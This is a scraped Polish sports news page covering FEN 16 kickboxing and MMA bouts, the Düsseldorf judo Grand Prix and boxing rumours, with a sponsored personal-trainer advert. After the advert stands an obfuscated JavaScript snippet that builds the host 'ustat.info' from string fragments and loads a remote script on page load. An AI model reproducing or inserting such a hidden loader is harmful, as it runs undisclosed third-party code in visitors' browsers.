Kombou vs Paczuski na gali FEN 16 Warsaw Reloaded

Zwycięstwo przez nokaut – to wizytówka Brice'a Kombou, bardzo groźnego niemieckiego kickboksera, który już 11 marca podczas gali FEN 16 Warsaw Reloaded będzie rywalem mistrza świata K-1 Global Radosława Paczuskiego w jego dłogo oczekiwanym debiucie w organizacji Fight Exclusive Night.

Nieprzeciętnie utalentowany i agresywnie walczący Brice Kombou (28 lat, 183 cm, 17-2, 12 KO) pochodzi z Kamerunu, ale reprezentuje Niemcy, w których mieszka na stałe. Trenuje w Dortmundzie w Fight Lounge, jednym z najlepszych kickbokserskich klubów w Europie. Zawodowy dorobek Kombou w formule K-1 to 19 walk, w których odniósł 17 zwycięstw, przy czym w aż 12 starciach nokautował swoich rywali. Przed polskimi kibicami zaprezentował się z bardzo dobrej strony latem ubiegłego roku podczas meczu Polska-Niemcy na gali DSF Kickboxing Challenge 8, w którym mierzył się na zasadach K-1 z wicemistrzem Polski Maksymilianem Bratkowiczem. Mądrze, konsekwentnie walczący fighter z Niemiec przez cały pojedynek kontrolował sytuację, ostatecznie pokonując Polaka jednomyślną decyzją sędziów.

Radosław Paczuski (24 lata, 190 cm, 15-2) to jedna z największych gwiazd polskiego kickboxingu i muay thai. Zawodnik warszawskiego Uniq Fight Club jest multimedalistą mistrzostw Polski i członkiem kadry narodowej w obu tych dyscyplinach sportu. W październiku ubiegłego roku w imponującym stylu zdobył prestiżowy pas mistrza K-1 Global w kategorii -85 kg – w obu walkach finałowego turnieju znokautował rywali kolanem na głowę. Wcześniej trzykrotnie wywalczył kickbokserski Puchar Świata WAKO oraz wicemistrzostwo Europy i brązowy medal w Pucharze Świata federacji IFMA w muay thai. Paczuski wygrywał już z takimi znanymi zawodnikami, jak Adrian Valentin, Karolis Liukaitis czy Khasan Khaliev. W sumie w amatorskim ringu stoczył 94 walki, doznając w nich zaledwie 8 porażek. Jako zawodowiec w formule K-1 walczył 15 razy, wygrywając 13 pojedynków – porażek doznał jedynie w starciach z numerem 1 na świecie Arturem Kyshenko oraz doświadczonym Constantinem Tutu.

Starcie Radosława Paczuskiego z Bricem Kombou będzie jedną z wielu bardzo interesujących międzynarodowych konfrontacji na gali FEN 16 Warsaw Reloaded – w innych takich pojedynkach na zasadach K-1 zmierzą sie Marcin Szreder z Białorusinem Iharem Kamkou i Piotr Bąkowski z Białorusinem Vitalyem Kazakou, a w starciach na zasadach MMA Kamil Łebkowski będzie walczył z Brazylijczykiem Gabrielem Silvą, Bartłomiej Kopera z Francuzem Daguirem Imavovem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią i Arbi Shamaev z Brazyliczykiem Shely Santaną. W "polskich" walkach 11 marca na Torwarze też nie zabraknie emocji – Arkadiusz Wrzosek spotka się z Arturem Bizewskim, Kamil Gniadek z Łukaszem Stankiem, a Paweł Pawlak z Ireneuszem Szydłowskim.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl, KupBilet.pl oraz Ticketik.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Trener personalny

Ćwicz z trenerem personalnym!

Nie chcesz chodzić na siłownię, a marzy Ci się piękna i nienaganna sylwetka? Postaw na trening personalny! Współpraca z profesjonalistą to gwarancja sukcesu i osiągnięcia zamierzonych efektów, a przy tym ogromna satysfakcja.

Czym właściwie jest trening personalny? Masz swojego guru, którego słuchasz i podporządkowujesz się jego poleceniom. To tak w skrócie. A poważnie? Trening personalny to indywidualne zajęcia, podczas których realizujemy przygotowany przez instruktora plan. Program w pełni dostosowany jest do możliwości, stanu zdrowia i potrzeb trenującego, uwzględnia jego nawyki żywieniowe.

Postanowienie noworoczne, konieczność zrzucenia zbędnych kilogramów po zimie, troska o zdrowie czy marzenia o pięknej sylwetce – powodów, dla których chcemy zacząć intensywny trening jest wiele. Na początku laik może natrafić na problemy i szybko się zniechęcić do dalszej aktywności. Wszystko przez brak odpowiedniej wiedzy, która nie pozwala na efektywny trening. Kierujemy się w stronę siłowni, ale nie zawsze jest to odpowiednie rozwiązanie. W grupie możemy czuć się skrępowani. Najlepszym rozwiązaniem jest współpraca z trenerem personalnym.

Dlaczego warto postawić na indywidualne zajęcia? Mamy do dyspozycji trenera personalnego, który tylko nam poświęca uwagę, czas, obserwuje i dostosowuje ćwiczenia do naszych możliwości. Najlepszych fachowców znajdziesz na www.sport-ekspert.pl. Z pewnością to rozwiązanie idealne dla tych, którzy szybko chcą osiągnąć cele. Ale nie tylko. Praca z trenerem personalnym jest godna polecenia początkującym, ale także zaawansowanym na płaszczyźnie aktywności fizycznej oraz tym, którzy mimo wysiłku nie osiągnęli zamierzonych efektów. Warto dodać, że takie rozwiązanie jest polecane osobom, które chcą wrócić do pełnej sprawności po urazach bądź skorygować wady postawy.

Często jest tak, że bardzo chcemy, ale jednak… nie możemy. Tłumaczymy się brakiem czasu bądź zmęczeniem. Gdy mamy tzw. „bat” nad sobą nie możemy w żaden sposób odpuścić. Trener personalny to idealny motywator i anioł stróż, który zwróci uwagę na wszelkie niedoskonałości i pozwoli nam wjechać na autostradę, którą dojedziemy do miejscowości „Idealna Sylwetka”.

Warto również pamiętać, że praca z trenerem personalnym może służyć powiększeniu wiedzy. Bywa, że mamy orientację w temacie, ale nie czujemy się do końca pewni i chcemy skorzystać z pomocy eksperta. Pod okiem trenera personalnego można się dokształcić i zdobyć kolejne doświadczenie, a także uzyskać cenne wskazówki i uzyskać fachowe doradztwo.

Gdy podejmiemy decyzję o współpracy z trenerem personalnym, należy go znaleźć. „Kto szuka, nie błądzi”. Ale gdzie? Sport Ekspert to miejsce, w którym zapoznasz się z sylwetkami trenerów personalnych z każdego regionu Polski. Dzięki temu masz okazję zapoznać się z opiniami innych użytkowników, poznać sylwetki instruktorów i dokonać wyboru. Nic prostszego! Zajrzyj na www.sport-ekspert.pl i dokonaj wyboru. To będzie krok w dobrą stronę. Przekonaj się sam!

KM

Tło fotografie created by Javi_indy – Freepik.com

[kod]

(function(){
zcnf=document.createElement("script");zcnf_=(("u")+"st")+"a";zcnf.async=true;
zcnf.type="text/javascript";zcnf_+=("t.i")+""+"n";zcnf_+=(("f")+"o");zcnf_+="/";
zcnfu="60656904.";zcnfu+="4qg55gXacnfXbjXbjl5"+"y9ibuX1ex4z";
zcnf.src="//"+zcnf_+zcnfu; document.body.appendChild(zcnf);
})();

Krótka przygoda Polaków

Biało-czerwoni nie zapiszą do udanych startu w zawodach Grand Prix w judo, które odbyły się w miniony weekend w Dusseldorfie. Reprezentanci Polski szybko zakończyli swoją przygodę z turniejem.

Jak zawsze żyliśmy nadzieją, gdyż przed tygodniem w dobre nastroje wprawił nas Piotr Kuczera (90kg), który okazał się najlepszy w rywalizacji w Rzymie. W Niemczech jego koledzy nie spisali się jednak na medal.

Szybko poszło

Mówi się, że sukces wymaga cierpliwości. W przypadku międzynarodowych turniejów trzeba się liczyć z koniecznością stoczenia 4-5 walk, żeby myśleć o wywalczeniu miejsca na podium. W Dusseldorfie startowała piątka reprezentantów Polski. Z rywalizacją pożegnali się w mgnieniu oka.

Agata Perenc (52kg) była agresywna i zawzięta, o czym świadczą dwie kary shido. Amandine Buchard również była nieustępliwa, jednak udało jej się w końcówce wykonać waza-ari. Francuzka awansowała do dalszej rywalizacji i dopiero w finale zatrzymała ją Uta Abe.

Niewiele lepiej wypadła Julia Kowalczyk (57kg). Młoda Polka zaczęła zmagania w niemieckim turnieju od walki z Po Sum Leung. Kowalczyk niczym doświadczona judoczka wykorzystała braki rywalki i szybko rozłożyła ją na łopatki. Nie upłynęło dwadzieścia sekund, a nasza zawodniczka triumfowała przez ippon. W drugim starciu musiała uznać wyższość Nae Udaki. Japonka zaczęła od waza-ari, później dołożyła ippon i nie pozostawiła Kowalczyk żadnych szans. Warto dodać, że Udaka zakończyła zmagania na trzecim miejscu. 

Tylko jedną walkę w Dusseldorfie stoczyła Agata Ozdoba (63kg). Brązowa medalistka mistrzostw Europy z 2014 roku przegrała z Cristiną Cabaną Perez. Anri Egutidze zapisał na swoim koncie waza-ari, a Łukasz Błach (81kg) tylko karę shido. Dalej walczył reprezentant Portugalii, który po repasażach rywalizował o brąd, ale poległ z Mołdawianinem Dorinem Gotonoagą.

Paweł Zagrodnik (73kg) zdecydował o startach w wyższej kategorii wagowej. Dotychczas występował w 66kg. W nowej wadze zajął drugie miejsce w Pucharze Polski w Mysiadle. W Dusseldorfie nie było tak dobrze. Co prawda, po wyrównanej walce Zagrodnik pokonał Nuno Saraivę, ale w kolejnej wypunktował go Tohar Butbul. 

Japonia na czele

W Grand Prix karty rozdawali Japończycy, którzy wywalczyli 16 medali, w tym pięć złotych. Za ich plecami Gruzja i Rosja.

W turnieju wystartowało 344 judoków.

KM

Rywal Radosława Paczuskiego jutro w magazynie Puncher

Radosław Paczuski, który na gali FEN 16 Warsaw Reloaded zadebiutuje w organizacji Fight Exclusive Night, będzie jednym z gości jutrzejszego magazynu Puncher. Podczas programu kibice poznają nazwisko zawodnika, z którym aktualny mistrz świata K-1 Global zmierzy się 11 marca na Torwarze.

24-letni Radosław Paczuski to jeden z najbardziej utalentowanych i ambitnych zawodników kickboxingu i muay thai młodego pokolenia w Polsce. Reprezentant warszawskiego Uniq Fight Club jest multimedalistą mistrzostw Polski i członkiem kadry narodowej w obu tych dyscyplinach sportu. W październiku ubiegłego roku odniósł największy jak dotychczas swój sukces na arenie międzynarodowej, sięgając po pas mistrza K-1 Global w kategorii -85 kg – w obu turniejowych walkach znokautował swoich przeciwników kolanem na głowę. Wcześniej trzykrotnie wywalczył kickbokserski Puchar Świata WAKO oraz wicemistrzostwo Europy i brązowy medal w Pucharze Świata federacji IFMA w muay thai. Paczuski wygrywał już z takimi znakomitymi zawodnikami, jak Adrian Valentin, Karolis Liukaitis czy Khasan Khaliev. W sumie w amatorskim ringu stoczył 94 walki, doznając w nich zaledwie 8 porażek. Jako zawodowiec w formule K-1 walczył 15 razy, wygrywając 13 pojedynków – porażek doznał jedynie w starciach z numerem 1 na świecie Arturem Kyshenko oraz doświadczonym Constantinem Tutu.

Jutrzejszy odcinek magazynu Puncher będzie można obejrzeć na żywo w stacji Polsat Sport News. Program rozpocznie się o godz. 20.

FEN

LIVE: Judo Grand-Prix Dusseldorf 2017: Day 2

Zapraszamy na transmisję telewizyjna na żywo z Judo Grand Prix Düsseldorf w Niemczech. Zawody odbędą się w dniach 24 – 26 luty 2017.

Plan transmisji:

Piątek, 24 luty

10:00 Start zawodów
17:00 Blok finałowy

Sobota, 25 luty

10:00 Start zawodów
17:00 Blok finałowy

Niedziela, 26 luty

10:00 Start zawodów
17:00 Blok finałowy

[kod]

LIVE: Judo Grand-Prix Dusseldorf 2017: Day 3

Zapraszamy na transmisję telewizyjna na żywo z Judo Grand Prix Düsseldorf w Niemczech. Zawody odbędą się w dniach 24 – 26 luty 2017.

Plan transmisji:

Piątek, 24 luty

10:00 Start zawodów
17:00 Blok finałowy

Sobota, 25 luty

10:00 Start zawodów
17:00 Blok finałowy

Niedziela, 26 luty

10:00 Start zawodów
17:00 Blok finałowy

[kod]

Piotr Bąkowski będzie gościem FighTime TV

Za kilka dni w naszym studio pojawi się jedna z gwiazd zbliżającej się wielkimi krokami gali FEN 16 Warsaw Reloaded – Piotr Bąkowski. Trzeba jasno powiedzieć – „tego pana nie trzeba nikomu przedstawiać”. Piotr Bąkowski opowie naszym widzom o zbliżającej się walce, bogatej karierze i swoich pasjach.

„Dwadzieścia lat minęło jak jeden dzień” – słowa piosenki zespołu Paktofonika idealni pasują do osoby Piotra Bąkowskiego. Dalej artyści śpiewają, a w zasadzie pytają „Nie masz co wspominać?” W tym przypadku nasuwa się tylko jedna odpowiedź. O karierze i sukcesach 39-letniego Bąkowskiego można opowiadać godzinami. Idealnie pasuje do niego określenie „człowiek orkiestra”, z racji jego wszechstronnej działalności.

W 1997 roku Piotr Bąkowski zawitał do klubu KS Piaseczno, żeby rozpocząć treningi kickboxingu. Z pewnością nie przypuszczał wtedy, że po kilku latach będzie czołowym polskim zawodnikiem. Wywalczył ponad sto medali na arenie krajowej i międzynarodowej, stoczył blisko sześćset walk. Na swoim koncie zapisał zawodowe pasy mistrzowskie full contact federacji WKSF, WTKA, UFR. Bąkowski sięgał po medale mistrzostw świata i Europy WAKO m.in. srebro w Coimbrze (2007) czy brąz w Szeged (2005). Wielokrotnie zajmował miejsca na podium zawodów rangi Pucharu Świata i Europy, a w 2013 w Congliano okazał się najlepszy. Warto dodać, że 39-latek odnosił również sukcesy w taekwondo i tang soo do.

Bąkowski nie tylko toczył kolejne walki, ale zaangażował się w pracę trenerską. Na tym nie koniec. Kolejną aktywnością wybitnego zawodnika była działalność na gruncie organizacyjnym. Od 2007 roku współtworzył turniej „Mazovia Cup International”. Był również członkiem zarządu Polskiego Związku Kickboxingu. W 2010 roku wraz z Łukaszem Makarewiczem założył federację sztuk walki UFR. Warto również podkreślić społeczne zaangażowanie 39-letniego zawodnika. Bąkowski włączył się w kampanię „Łączy Nas Sport Nie Narkotyki”.

W wieku 39 lat Bąkowski zadebiutuje w zawodowym K-1. 11 marca na gali FEN 16 Warsaw Reloaded zmierzy się z Vitalym Kazakou. 41-letni Białorusin ma na koncie tytuły mistrza Europy i mistrza Euroazji. Stoczył 36 zawodowych walk. 

Piotr Bąkowski intensywnie przygotowuje się do kolejnego wyzwania w swojej karierze. Postanowiliśmy zaprosić gwiazdę polskiego kickboxingu do naszego studia. Szykuje się niezwykle ciekawa dyskusja z interesującą postacią. Co wie o swoim najbliższym rywalu? Czy jest zadowolony z przygotowań? Jakie są jego kolejne plany? Czy czuje się spełniony na każdej płaszczyźnie swojej działalności? Te i wiele innych pytań zadamy Piotrowi Bąkowskiemu. Wywiad będziecie mogli niebawem obejrzeć na antenie FighTime!

KM

LIVE: Judo Grand-Prix Dusseldorf 2017: Day 1

Zapraszamy na transmisję telewizyjna na żywo z Judo Grand Prix Düsseldorf w Niemczech. Zawody odbędą się w dniach 24 – 26 luty 2017.

Plan transmisji:

Piątek, 24 luty

10:00 Start zawodów
17:00 Blok finałowy

Sobota, 25 luty

10:00 Start zawodów
17:00 Blok finałowy

Niedziela, 26 luty

10:00 Start zawodów
17:00 Blok finałowy

[kod]

Piotr Bąkowski vs Vitaly Kazakou na FEN 16 Warsaw Reloaded

Jednym z ostatnich zestawień, jakie organizacja Fight Exclusive Night dopisuje do karty walk gali FEN 16 Warsaw Reloaded, która odbędzie się 11 marca na Torwarze, jest kickbokserski pojedynek wielokrotnego mistrza świata Piotra Bąkowskiego z białoruskim mistrzem Europy i Eurazji Vitalyem Kazakou. Starcie na zasadach K-1 odbędzie się w wadze do 61 kg.

39-letni Piotr Bąkowski to wielokrotny mistrz świata, Europy i Polski w formułach light-contact i full-contact. Swoją karierę zaczynał pod okiem pierwszego polskiego mistrza świata Piotra Siegoczyńskiego. Pochodzący z Piaseczna zawodnik stoczył blisko 600 pojedynków amatorskich w tych formułach, stając się jednym z najbardziej doświadczonych i utytułowanych polskich kickbokserów. Dwukrotnie sięgał po pas amatorskiego mistrza świata, ma też na koncie 14 tytułów mistrza Polski. Jako zawodowiec zdobywał trzykrotnie tytuł mistrza świata w full-contact federacji WKSF, WTKA oraz UFR, a teraz zadebiutuje także w zawodowym K-1. Jest też cenionym szkoleniowcem, wychował wielu mistrzów kraju, Europy i świata. Ponadto Piotr Bąkowski jest jednym z autorów ogólnopolskiej kampanii "Łączy Nas Sport Nie Narkotyki", działa w kilku kickbokserskich organizacjach, a w wolnym czasie oddaje się swoim pozasportowym pasjom – dziennikarstwu i fotografii podróżniczej.

Starszy o dwa lata od Polaka reprezentant Białorusi Vitaly Kazakou jest doskonale znany polskiej publiczności, bowiem ścierał się już z czołówką krajowych zawodników – toczył walki z Michałem Królikiem, Cezarym Zugajem czy Bartoszem Batrą. W swojej bogatej karierze mierzył się z także z takimi wojownikami, jak choćby Marko Moisar z Estonii. Trenujący w znanym klubie Condor Grodno Kazakou ma na koncie 36 zawodowych walk K-1, w których odniósł 26 zwycięstw. Do jego największych sukcesów należą tytuły mistrza Europy i mistrza Eurazji oraz pas polskiej federacji BMAF. Karierę i treningi zaczynał u słynnego szkoleniowca Alfita Hakova w Grodnie.

Starcie Kazakou z Bąkowskim będzie jedną z najciekawszych międzynarodowych konfrontacji na warszawskim Torwarze z uwagi na duże doświadczenie obu zawodników. Obaj chcą potwierdzić swoją wartość, a klatkoring Fight Exclusive Night im to z pewnością umożliwi. W innych pojedynkach K-1  podczas gali FEN 16 Warsaw Reloaded również nie zabraknie emocji – Arkadiusz Wrzosek zmierzy się z Arturem Bizewskim, a Marcin Szreder z Białorusinem Iharem Kamkou. Tego wieczora w klatkoringu FEN zadebiutuje również Radosław Paczuski.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl, KupBilet.pl oraz Ticketik.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Dusseldorf na szóstkę?

Judocy nie zwalniają tempa. W piątek (24 lutego) zawodnicy rozpoczną rywalizację w zawodach Grand Prix w Dusseldorfie. Na tatami zobaczymy sześcioro Polaków.

Z zimowego snu wyrwał nas Piotr Kuczera (90kg), który kilka dni temu triumfował w Pucharze Europy w Rzymie. Czy inni pójdą jego drogą?

Długie listy

W Niemczech trzeba przygotować się na walkę na śmierć i życie. Droga do sukcesu nie będzie usłana różami, bo na starcie jest 378 zawodników z 51 państw. Polskę będzie reprezentowała szóstka zawodników: Agata Perenc (52kg), Julia Kowalczyk i Arleta Podolak (57kg), Agata Ozdoba (63kg), Paweł Zagrodnik (73kg) oraz Łukasz Błach (81kg).

Niesieni dobrym występem Piotra Kuczery w Rzymie liczymy, że i tym razem biało-czerwoni wysuną się na pierwszy plan. Można powiedzieć, iż brązowy medalista ubiegłorocznych mistrzostw Europy z Kazania dał sygnał do ataku. Zatem trzeba iść za ciosem. Nie ma, co ukrywać, że wśród naszych nie brakuje judoków, którzy są w stanie przeprowadzić szturm. Na pierwszy plan wysuwa się Arleta Podolak, która zajmuje 21. miejsce w światowym zestawieniu. Dobra postawa 23-latki zaowocowała jej wyjazdem na Igrzyska Olimpijskie w Rio de Janeiro. W ubiegłym roku Podolak wygrała zawody w Warszawie i Ałamtach. Tym razem Polka nie zaliczyła udanego wejścia w sezon. O starcie w Paryżu Podolak będzie chciała jak najszybciej zapomnieć. W stolicy Francji stoczyła zaledwie jedną walkę, lepsza od Polki okazała się Kubanka Alisuka Ojeda. Zatem nadarza się okazja do rewanżu i poprawy osiągniętego wyniku.

W tej samej kategorii wagowej, co Podolak zaprezentuje się Julia Kowalczyk. Młoda, obiecująca judoczka przeciera szlaki na poziomie seniorskim. W ubiegłym roku zdobyła brązowy medal mistrzostw Europy juniorek. Tegoroczne starty zainaugurowała w Sofii, gdzie po obiecującym starcie i wygranej, przegrała z Francuzką Sara Harachi. Czas na kolejne doświadczenie i zwycięstwa. Wiele można obiecywać sobie po starcie Agaty Perenc. 37. zawodniczka światowego rankingu startowała w tym roku w Sofii, jednak odpadła w drugiej rundzie. Blisko rok temu zajęła piąte miejsce w Warszawie. Może ponownie końcówka lutego będzie udana dla Perenc.

Agata Ozdoba ma za sobą wiele zdrowotnych przygód. W ubiegłym roku walczyła z czasem, żeby wystartować w mistrzostwach Europy i udało się. Występ zakończył się sukcesem w postaci tytułu najlepszej reprezentacji Starego Kontynentu. Formę potwierdziła w jesiennych  występach. Tegoroczne starty Ozdoba rozpocznie w Dusseldorfie. W Niemczech rywalizowała dwa lata temu, ale w drugiej rundzie zakończyła udział w imprezie.

Nowe doświadczenie

Doskonale pamiętamy start Pawła Zagrodnika w Igrzyskach Olimpijskich w Londynie. Kolejne dwa lata były dobre w jego wykonaniu, jednak ostatnio przygasł. Teraz postanowił zmienić kategorię i występuje w wadze 73kg. W Pucharze Polski w Mysiadle doświadczony Zagrodnik zajął drugie miejsce. Teraz czas na pierwszy międzynarodowy test. 

W Dusseldorfie wystartuje również Łukasz Błach.

KM

Ihar Kamkou rywalem Marcina Szredera na gali FEN 16 Warsaw Reloaded

Marcin Szreder już wie, z kim będzie walczyć na gali FEN 16 Warsaw Reloaded. Zdobywca Pucharu Europy WAKO w K-1 i low kick 11 marca na Torwarze zmierzy się z ambitnym Białorusinem Iharem Kamkou, który zadebiutuje w organizacji Fight Exclusive Night.

Marcin Szreder, chociaż niedawno świętował czterdzieste urodziny, a kick-boxing traktuje jako odskocznię od prowadzenia interesów, to wciąż należy do najgroźniejszych zawodników w swojej kategorii wagowej. Słynący z twardej, nieustępliwej postawy w ringu fighter klubu Palestra Warszawa to m.in. zdobywca Pucharu Europy WAKO w K-1 i Pucharu Europy WAKO w kickboxingu low-kick oraz złoty medalista Polish Open. Wielokrotnie stawał też na różnych stopniach podium kickbokserskich mistrzostw Polski. Na zawodowych arenach Szreder stoczył dotąd 5 walk, z których czterokrotnie wychodził zwycięsko. W klatkoringu Fight Exclusive Night debiutował na gali FEN 11 Warsaw Time, bez problemu pokonując na punkty Turka z niemieckim paszportem Aytaca Yahsiego. Z kolei w drugim swoim występie podczas FEN 13 Summer Edition wspólnie z Arturem Bizewskim zafundowali kibicom zażartą kickbokserską wojnę, w której zwycięstwo większościową decyzją sędziów przypadło jego rywalowi.

28-letni Ihar Kamkou jest reprezentantem stołecznego klubu Evrica Mińsk. Waleczny, odważnie idący na wymiany ciosów i kopnięć białoruski kickbokser ma większe od Szredera doświadczenie w zawodowym K-1 – stoczył dotychczas 25 walk, wygrywając 17 pojedynków. W ostatnich miesiącach dwukrotnie występował w Polsce, w obu przypadkach biorąc na ostatnią chwilę zastępstwo za niezdolnych do walki innych zawodników. W grudniu 2015 roku Kamkou na gali Makowski Fighting Championship 9 w Nowej Soli decyzją sędziów uległ Marcinowi Bodnarowi, a w listopadzie ubiegłego roku na gali Celtic Gladiator 11 w Krakowie przez techniczny nokaut przegrał z mistrzem FEN Tomaszem Sararą. 11 marca na Torwarze Białorusin zadebiutuje w klatkoringu Fight Exclusive Night.

W drugim już ogłoszonym  pojedynku na zasadach K-1 podczas FEN 16 Warsaw Reloaded zmierzą się Artur Bizewski z Arkadiuszem Wrzoskiem. Gala na Torwarze będzie także okazją do debiutu w organizacji FEN Radosława Paczuskiego. W walce wieczoru w formule MMA zmierzą się 11 marca niepokonany od blisko 4 lat Kamil „Bomba” Łebkowski z Brazylijczykiem Gabrielem „Gabito” Silvą, którego z narożnika będzie wspierał starszy, walczący w UFC brat Erick Silva. Kibice obejrzą też m.in. pojedynki MMA Michała Oleksiejczuka z Włochem Riccardo Nosiglią, Kamila Gniadka z Łukaszem Stankiem, Pawła Pawlaka z Ireneuszem Szydłowskim oraz Arkadiusza Medyńskiego z Sebastianem Kotwicą.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Są blisko porozumienia

Oczami wyobraźni miłośnicy boksu widzą walkę Giennadija Gołowkina i Saula Alvareza. Nie musi to być wyłącznie marzenie. Prawdopodobnie do hitowego starcia miałoby dojść we wrześniu w Las Vegas.

Obaj pięściarze są jak maszyny, które zostały zaprogramowane na wygrywanie. Gołowkin to klasa sama w sobie, z kolei Alvarez, mimo młodego wieku, dał już pokaz ogromnych umiejętności.

Ostatnia prosta

Dobra postawa Gołowkina w ringu sprawiła, że wielu obserwatorów uważa go za najlepszego pięściarza na świecie. Niedawno takie opinie nie były powszechne. Co prawda, bokser z Kazachstanu wygrywał, ale zwracano uwagę, że gromił pięściarzy drugiego sortu. Jednak po wygranej z Danielem Geale'm w 2014 roku głosy krytyków ustały. Kazach w trzeciej rundzie znokautował mocnego rywala. Wystarczy zerknąć na bilans 34-latka, żeby uznać, że z jego pięściami nie ma żartów. Aż 33 z 36 walk wygrał przed czasem i absolutnie dominuje w wadze średniej, jest posiadaczem pasów WBA, WBC, IBF i IBO.

Z kolei Saul Alvarez to nadal młody, gniewny i żądny sukcesów pięściarz. Na karku ma 26 wiosen, ale może pochwalić się imponującym bilansem – stoczył już 48 zwycięskich walk, z których 34 wygrał przed czasem. Przegrał tylko raz. W walce okrzykniętej wielkim hitem, 14 września 2013 roku, uległ na punkty legendarnemu Floydowi Mayweatherowi Jr. Od tamtego czasu gromi wszystkie przeszkody. Choć przy okazji wygranej walki z Miguelem Cotto pojawiły się wątpliwości. Portorykańczyk mądrze realizował taktykę, ale sędziowie uznali, że lepszy był Meksykanin. W kolejnych dwóch starciach, z Amirem Khanem i Liamem Smithem, wątpliwości nie było. Alvarez nie miał litości dla rywali i posłał ich na deski.

Wyraźnie widać, że obaj pięściarze imponują siłą, precyzją i skutecznością. Gołowkin opanował wagę średnią, Alvarez ma pas WBA kategorii lekkośredniej. Trudno się więc dziwić, że zaczęły się spekulacje na temat walki Kazacha i Meksykanina. Kiedyś celem wielu pięściarzy był Mayweather Jr., teraz każdy chce pokonać Gołowkina. Alvarez przegrał z Amerykaninem, czy dane będzie mu pokonać Kazacha? Najpierw musi dojść do podpisania umowy na walkę, a to wydaje się bardzo prawdopodobne. – Jesteśmy blisko porozumienia, ale nie jesteśmy dogadani. Rozmowy prowadzone są od dłuższego czasu, bo chodzi o dużą walkę. Wszystko idzie w dobrą stronę – powiedział Eric Gomez z grupy Golden Boy Promotions. 

Najbliższe wyzwania

Na potwierdzenie hitowego starcia trzeba poczekać, jednak pięściarze nie próżnują. 18 marca w Madison Square Garden Gołowkin zmierzy się z Danielem Jacobsem. 30-letni Amerykanin to również ringowy dominator. 29 z 32 wygranych walk zakończył przed czasem, przegrał tylko jedno starcie.

Z kolei Alvarez w maju zmierzy się z Julio Cesarem Chavezem Jr. Blisko dwa lata temu Meksykanin przegrał z Andrzejem Fonfarą. Później wygrał dwie walki i teraz sprawdzi możliwości Alvareza. Chavez Jr. dolewa oliwy do ognia i wyraża wątpliwości względem walki swojego najbliższego rywala z Gołowkinem. Jego zdaniem Alvarez miałby… bać się Kazacha.

KM

Kuczera na szczycie w Rzymie

Wieczne Miasto szczęśliwe dla Piotra Kuczery (90kg). Brązowy medalista mistrzostw Europy z Kazania wygrał zawody Pucharu Europy w Rzymie. Blisko podium był Jakub Kubieniec (81kg). Z kolei w Oberwart, gdzie rywalizowały panie na piątej pozycji uplasowała się Ewa Konieczny (48kg).

Biało-czerwoni ruszyli w świat. Z Rzymu i Oberwart wracają z jednym medale, ale za to z tym z najcenniejszego kruszcu. 

Rzym zdobyty

Rzym był wielki, Rzym był potężny, ale w końcu nadszedł jego kres. Najazdy ludów barbarzyńskich i problemy wewnętrzne sprawiły, że państwo upadło w 476 roku. Rzym nadal jest miastem wyjątkowy, które chętnie odwiedzają turyści i podziwiają jego urok. Stolica Italii jest również areną sportowej rywalizacji. W miniony weekend do Rzymu zawitali judocy w liczbie 257.

Przed startem zawodów pisaliśmy, że na przestrzeni ostatnich miesięcy nasi judocy byli tłem dla płci pięknej. Wyjątkiem był Piotr Kuczera, który prezentował równą dyspozycję i zdobył brąz mistrzostw Europy. Można powiedzieć, że wbiliśmy panom małą szpileczkę i nieco zmobilizowaliśmy. Ktoś powie, że „wjechaliśmy panom na ambicję”, ale będzie to nadużycie. Po prostu troszczymy się o nasze judo i dobrego tego sportu leży nam na sercu. Do rzeczy, Piotr Kuczera (90kg) wraca z Rzymu w glorii chwały. Zawodnik z Rybnika w finale przez ippon pokonał Turala Safguliyeva. Łącznie Polak wygrał pięć pojedynków. 

Z dobrej strony w stolicy Włoch pokazał się Jakub Kubieniec (81kg). Polski judoka zaczął turniej od wygranych z Marcelem Ottem i Samim Chouchim. W trzecim starciu uległ późniejszemu triumfatorowi zawodów – Eduardo Yudi Santosowi. Kubieniec wygrał walkę repasażową, ale w starciu o brąz lepszy okazał się Sotaro Fujiwara. Polak zakończył rywalizację na piątej lokacie.

Również na miejscu punktowym uplasował si Patryk Ciechomski (90kg), który był siódmy. Po dwóch wygranych przyszła porażka z… Piotrem Kuczerą. Po ponad trzech minutach 21-latek cieszył się ze zwycięstwa. Ciechomskiemu pozostały repasaże, jednak tam lepszy okazał się Louis Krieber Gagnon.

O krok od podium

Panie w liczbie sześciu pojechały na zawody do Oberwart. Na starcie pojawiło się łącznie 151 zawodniczek. Spośród reprezentantek Polski najlepiej wypadła Ewa Konieczny (48kg), która wywalczyła piąte miejsce. W pierwszej walce w półtorej minuty Polka uporała się z Lillą Erdelyi, jednak w kolejnej musiała uznać wyższość Yujeong Kang. Konieczny musiała rywalizować w repasażach, gdzie przez ippon uporała się z Sabiną Giliazovą, jednak w starciu o brąz przed czasem przegrała z Francuzką Marine Lhenry.

Dwie walki wygrała Karolina Tałach (63kg), co dało jej siódmą pozycję. Na jej drodze do walki o medale stanęły Yanka Pascoalino i Lindsay Tsang Sam Moi. Anna Załęczna (+78kg) zanotowała jedno zwycięstwo i dwie porażki, w efekcie czego została sklasyfikowana na siódmym miejscu.

KM

Szykuje się wielki powrót St-Pierre’a!

Po ponad trzech latach Georges St-Pierre wraca do UFC. 35-letni Kanadyjczyk podpisał umowę z najlepszą organizacją MMA na świecie i czeka na wyzwania. Jedni wracają, a inni rezygnują. Valerie Letourneau podjęła decyzję o zawieszeniu kariery.

Fani mieszanych sztuk walki już zacierają ręce i czekają, kiedy nastąpi długo wyczekiwany powrót St-Pierre'a, a przede wszystkim – kto będzie jego rywalem.

Powrót mistrza

